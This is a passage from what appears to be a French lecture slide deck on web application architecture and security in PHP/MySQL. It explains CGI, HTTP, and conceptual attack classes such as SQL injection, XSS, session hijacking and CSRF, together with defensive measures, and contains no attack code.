gestion de base de données, d&apos;où le nom de passerelle). Un programme CGI peut être écrit dans à peu près n&apos;importe quel langage de programmation pourvu que celui-ci soit : capable de lire le flux de données d&apos;entrée ; capable de traiter des chaînes de caractères ; capable d&apos;écrire sur le flux standard de sortie ; exécutable ou interprétable par le serveur web. Les langages de programmation les plus utilisés pour l&apos;écriture des CGI sont les suivants : Le langage Perl, particulièrement adapté à la manipulation de chaînes de caractères ; Les langages C et C++ ; Le langage Java PHP est un langage de script interprété exécuté du côté serveur. Il a été mis au point au début d&apos;automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l&apos;accès à une base de données par l&apos;intermédiaire de requêtes SQL Ses principaux atouts sont : Une grande communauté de développeurs partageant des centaines de milliers d&apos;exemples de script PHP ; La gratuité et la disponibilité du code source (PHP est distribué sous licence GNU GPL) ; La simplicité d&apos;écriture de scripts ; La possibilité d&apos;inclure le script PHP au sein d&apos;une page HTML (contrairement aux scripts CGi, pour lesquels il faut écrire des lignes de code pour afficher chaque ligne en langage HTML) ; La simplicité d&apos;interfaçage avec des bases de données (de nombreux SGBD sont supportés, mais le plus utilisé avec ce langage est MySQL , un SGBD gratuit disponible sur de nombreuses plateformes : Unix, Linux, Windows, MacOs X, Solaris, etc...) ; L&apos;intégration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.). ASP ( Active Server Pages ) est un standard mis au point par Microsoft en 1996 permettant de développer des applications. ASP est en réalité une technologie, ou plus exactement un environnement de programmation, permettant de représenter sous forme d&apos;objets les interactions entre le navigateur du client, le serveur web, ainsi que les connexions à des bases de. Les servlets sont des applications Java fonctionnant du côté serveur au même titre que les CGI et les langages de script côté serveur tels que ASP ou bien PHP. Les servlets s&apos;exécutent dans un moteur de servlet utilisé pour établir le lien entre la servlet et le serveur web. Enfin une servlet étant une application Java, peut utiliser toutes les API Java afin de communiquer avec des applications extérieures, se connecter à des bases de données, accéder aux entrée-sorties (fichiers par exemple), ...
  2. La communication entre le navigateur et le serveur se fait en 3 temps : Le navigateur effectue une requête HTTP Le serveur traite la requête le serveur. C’est-à-dire qu’il la décode, localise fichier demandé et crée une réponse au Le serveur une réponse HTTP Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Il y a 3 méthodes principalement utilisées parmi les 5 disponibles : GET : Requête de la ressource située à l&apos;URL spécifiée HEAD : Requête de l&apos;en-tête de la ressource située à l&apos;URL spécifiée POST : Envoi de données au programme situé à l&apos;URL spécifiée (PUT pour l’envoi de données à l&apos;URL spécifiée et DELETE Suppression de la ressource située à l&apos;URL spécifiée) Une réponse HTTP est un ensemble de lignes envoyées au navigateur par le serveur. Le corps de la réponse contient le document demandé, le plus souvent au format HTML ou CSS. Le HTML (« HyperText Mark-Up Language ») est un langage dit de « marquage » (de « structuration » ou de « balisage ») dont le rôle est de formaliser l&apos;écriture d&apos;un document avec des balises de formatage. Les spécifications de HTML 4.0 ont été publiées le 18 décembre 1997. La version HTML 4.01, apparue le 24 décembre 1999 apporte quelques modifications mineures au HTML 4.0. On peut donc constater que les standards du Web n’ont pas évolué en 10 ans. Le principe des feuilles de style consiste à regrouper dans un même document des caractéristiques de mise en forme associées à des groupes d&apos;éléments. Grâce aux feuilles de style, lorsque la charte graphique d&apos;un site composé de plusieurs centaines de pages web doit être changée, il suffit de modifier la définition des feuilles de style en un seul endroit pour changer l&apos;apparence du site tout entier ! Depuis le 12 mai 1998, la norme CSS 2.0 est le standard en vigueur. Le couple HTTP/HTML+CSS ne permet que de faire de l’affichage statique. On ne peut pas parler d’application Web dans cas, car il n’y a pas d’interaction avec l’utilisateur. Il s’agit uniquement d’un site Web. La première réponse au besoin de créer une page personnalisée en fonction du choix ou de la saisie de l’utilisateur fut de créer une extension au serveur web. Une extension permet de faire appel à un script ou à serveur d’application. Un script CGI (Common Gateway Interface, traduisez interface de passerelle commune) est un programme exécuté par le serveur web, permettant d&apos;envoyer au navigateur de l&apos;internaute un code HTML créé automatiquement par le serveur (basé par exemple sur une autre application, telle qu&apos;un système de gestion de base de données, d&apos;où le nom de passerelle). Un programme CGI peut être écrit dans à peu près n&apos;importe quel langage de programmation pourvu que celui-ci soit : capable de lire le flux de données d&apos;entrée ; capable de traiter des chaînes de caractères ; capable d&apos;écrire sur le flux standard de sortie ; exécutable ou interprétable par le serveur web. Les langages de programmation les plus utilisés pour l&apos;écriture des CGI sont les suivants : Le langage Perl, particulièrement adapté à la manipulation de chaînes de caractères ; Les langages C et C++ ; Le langage Java PHP est un langage de script interprété exécuté du côté serveur. Il a été mis au point au début d&apos;automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l&apos;accès à une base de données par l&apos;intermédiaire de requêtes SQL Ses principaux atouts sont : Une grande communauté de développeurs partageant des centaines de milliers d&apos;exemples de script PHP ; La gratuité et la disponibilité du code source (PHP est distribué sous licence GNU GPL) ; La simplicité d&apos;écriture de scripts ; La possibilité d&apos;inclure le script PHP au sein d&apos;une page HTML (contrairement aux scripts CGi, pour lesquels il faut écrire des lignes de code pour afficher chaque ligne en langage HTML) ; La simplicité d&apos;interfaçage avec des bases de données (de nombreux SGBD sont supportés, mais le plus utilisé avec ce langage est MySQL , un SGBD gratuit disponible sur de nombreuses plateformes : Unix, Linux, Windows, MacOs X, Solaris, etc...) ; L&apos;intégration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.). ASP ( Active Server Pages ) est un standard mis au point par Microsoft en 1996 permettant de développer des applications. ASP est en réalité une technologie, ou plus exactement un environnement de programmation, permettant de représenter sous forme d&apos;objets les interactions entre le navigateur du client, le serveur web, ainsi que les connexions à des bases de. Les servlets sont des applications Java fonctionnant du côté serveur au même titre que les CGI et les langages de script côté serveur tels que ASP ou bien PHP. Les servlets s&apos;exécutent dans un moteur de servlet utilisé pour établir le lien entre la servlet et le serveur web. Enfin une servlet étant une application Java, peut utiliser toutes les API Java afin de communiquer avec des applications extérieures, se connecter à des bases de données, accéder aux entrée-sorties (fichiers par exemple), ...
  3. Les applications Web sont composées d’un ou plusieurs scripts qui reçoivent des données envoyées par un internaute, les traitent et produisent une réponse spécifique à la demande de l’internaute, les traitent et produisent une réponse spécifique à la demande de l’internaute. Ces applications sont courantes sur Internet : systèmes de réservations de salles, systèmes d’inscriptions à des conférences, forums, etc. Une application Web est un système d’information. Comme tout système d’information il doit assurer : - l’intégrité, - la confidentialité, et la disponibilité des données. Les données reçues peuvent être utilisées directement ou stockées dans un fichier, dans des variables de session ou dans une base de données.
  4. Une application Web est un système d’information. Comme tout système d’information il doit assurer : - l’intégrité, - la confidentialité, - la disponibilité des données. Les données reçues peuvent être utilisées directement ou stockées dans un fichier, dans des variables de session ou dans une base de données. Toute donnée provenant d’une source extérieure peut être utilisée pour attaquer le système d’information Ces fonctions font l’objet de menaces particulières et peuvent présenter des vulnérabilités susceptibles d’être exploitées par des attaquants motivés ou non. Toute donnée provenant d’une source extérieure peut être utilisée pour attaquer le système d’information Ces applications sont la cible d’attaques diverses : injection de code, d’effacement, détournement de session, etc. Ces attaques visent : - l’intégrité des données (modification des données publiées sur le site) ; - la confidentialité des données (obtention de données sans autorisation) ; - la disponibilité des données (déni de service) ; - la prise de contrôle du serveur web pour attaquer d’autres sites ou pour installer des services (serveur ftp pirate, …).
  5. Sécurité des applications Web – PHP/MySQL
  6. Les attaques d’injection consistent à injecter un code malicieux qui sera traité par un autre système ou interprété par l’application courante
  7. . Ces attaquent incluent les: - injections SQL ; - injections LDAP ; - injections XPath ; - injections SSI ; - injections de code ou de commandes (OS commanding) ; - null injection \\0 ; - buffer overflow (injection de code dans l’application par débordement de tampon).
  8. De nombreux sites créent dynamiquement des parties de la requête SQL à partir de données stockées ou saisies. Si les données ne sont pas filtrées un pirate peut réaliser une injection SQL. Cette attaque consiste à modifier une requête SQL en manipulant les entrées de l’application.
  9. L’attaque par injection SQL peut viser : - la disponibilité (charge maximale du serveur de base de données, modification du mot de passe d’un utilisateur ou de l’administrateur de l’application web dans un UPDATE) ; - la confidentialité : obtention d’informations stockées dans la base, obtention d’un accès à un intranet sans autorisation ; - l’intégrité des données (modification ou suppression des données). Cet exemple concerne la sélection des données (SELECT) mais les injections peuvent être réalisées avec UPDATE, INSERT et DELETE.
  10. Les remplacements effectués sont : &quot; &amp; &quot; (et commercial) devient &quot; &amp;amp; &quot; &quot; &quot; &quot; (guillemets doubles) devient &quot; &amp;quot; &quot; lorsque ENT_NOQUOTES n&apos;est pas utilisée. &quot;&apos;&quot; (guillemet simple) devient &amp;#039; uniquement lorsque ENT_QUOTES est utilisée. &quot; &lt; &quot; (inférieur à) devient &quot; &amp;lt; &quot; &quot; &gt; &quot; (supérieur à) devient &quot; &amp;gt; &quot; htmlentities() est identique à la fonction htmlspecialchars() , sauf que tous les caractères qui ont des équivalents en entités HTML sont effectivement traduits. En PHP, il est possible de remplacer les caractères potentiellement interprétables en Shell avec la fonction escapeshellcmd
  11. 1)La victime utilise un lien ou un formulaire frauduleux. Les moteurs de recherche sont des cibles de prédilection Le paramètre de recherche est par exemple complété par le code actif 2) Le code actif est traité par l’application Web et génère un code malicieux 3) La page de résultat est affichée et le code malicieux est exécuté avec le récapitulatif des paramètres de recherche
  12. Les réseaux sociaux sont des cibles de prédilection Un message contient alors le code actif 1) L’attaquant réussit à insérer le code actif dans les données de l’application vulnérable 2)La victime utilise l’application infiltrée. 3) Le code actif est traité par l’application Web et génère un code malicieux 4) La page de résultat est affichée et le code malicieux est exécuté avec le récapitulatif des paramètres de recherche
  13. En conclusion, les solutions restent les mêmes quelque soit la forme de l’attaque XSS. En plus cette protection est églament utile pour se protéger des attaques par injection
  14. Pendant toute la durée de travail avec l’application Web, l’identifiant de session est transmis à chaque requête http pour le conserver. Pour cela, on utilise un paramètre d’URL (pour le méthode GET) Un champ caché de formulaire (pour la méthode POST) Un cookie
  15. Force brute Comptes par défaut Système de réinitialisation de mot de passe Système de création de comptes par soi-même Permet de connaître les comptes existants
  16. Force brute Comptes par défaut Système de réinitialisation de mot de passe Système de création de comptes par soi-même Permet de ne pas créer de comptes proches et de ne pas donner d’information sur les comptes existants Ne pas laisser l’utilisateur choisir son identifiant. Permet de gérer les remontées d’information sur les comptes
  17. Fixation L’identifiant de session est imposé par le pirate. C’est la méthode la plus simple pour obtenir un identifiant de session valide. Le pirate fournit l’identifiant à la victime (lien dans l’URL, création de cookie, utilisation d’un formulaire sur un autre serveur). L’utilisateur se connecte au site et s’identifie. La session est créée en utilisant l’identifiant fourni. Le pirate peut accéder au site en fournissant l’identifiant fixé (détournement de session). L’identifiant de session peut être : - arbitraire (généré par le pirate) ; - obtenu en émettant une requête vers le site cible de l’attaque (si le site retourne un identifiant de session pour toute requête avant l’authentification de l’utilisateur). Vol - interception – l’identifiant est obtenu en écoutant le réseau ; - consultation du fichier de session sur le serveur ; (par injection de commandes systèmes par exemple) - lecture de l’information dans l’URL ; (copie d’adresse dans un mail) vol de cookie (XSS, cookie stocké dans le navigateur d’un ordinateur avec accès public). Prédiction l’identifiant est deviné. Par exemple, l’identifiant est un nombre entier incrémenté à chaque ouverture de session. Force brute
  18. Vérifier que le navigateur est le même que celui qui a ouvert la session Vérifier que l’IP de l’utilisateur est la même que celle qui a ouvert la session Possibilité de fermer la session et mettre en place une durée limite pour la session Lorsqu’une session est détruite, il faut: Supprimer les données sur le serveur Envoyer un cookie vie au client
  19. Un développeur doit toujours avoir à l’esprit que les données reçues ne proviennent pas toujours d’une source fiable
  20. 1) L’utilisateur se connecte à l’application 2) L’utilisateur utilise un lien ou un formulaire frauduleux qui contient un script caché 3) Le code est traité par l’application Web et génère une action
  21. Communiquer sur des réseaux implique l’utilisation de standards. Internet se base sur 4 couches de protocoles. Le principe des couches est le suivant : - Chaque couche regroupe des protocoles de même ordre (qui gère les mêmes fonctionnalités : transmission, physique, etc...) - Chaque couche est totalement indépendante des couches supérieures et inférieures. - Chaque couche ne peut transmettre les paquets qu&apos;à la couche inférieure (en émission) ou supérieure (en réception), à l&apos;aide de ce qu&apos;on appelle des SDU (Service Data Unit) - Une couche ne peut envoyer des informations à une machine distante que vers une couche de même niveau. Ces échanges sont appelés PDU (Protocol Data Unit). Lorsqu&apos;une information est émise par une couche, elle doit accéder à la couche physique pour pouvoir être envoyée sur le réseau. Elle doit donc pour cela traverser chacune des couches qui la sépare de la couche physique. Mais chaque couche doit ajouter ses informations aux paquets afin de permettre au destinataire de les faire remonter correctement, en suivant les bons protocoles. Ces informations sont ajoutées dans des entêtes, ajoutées au début du paquet. L&apos;ajout successif des entêtes par chaque couche traversée est appelé encapsulation. Lorsque le paquet arrive à son destinataire, il remonte les couches une part une, et chacune récupère les informations contenues dans l&apos;entête la concernant, et retire cette dernière. Le paquet arrive donc à la couche visée dans le même état que celui dans lequel il a été émis.
  22. Tableau des attaques 2004, 2007, 2010
  23. Tableau des attaques 2004, 2007, 2010
  24. Faut-il abandonner Ajax car trop de possibilités de faire n’importe quoi ? Guide de bonnes pratiques W3C pour les applications Web smartphones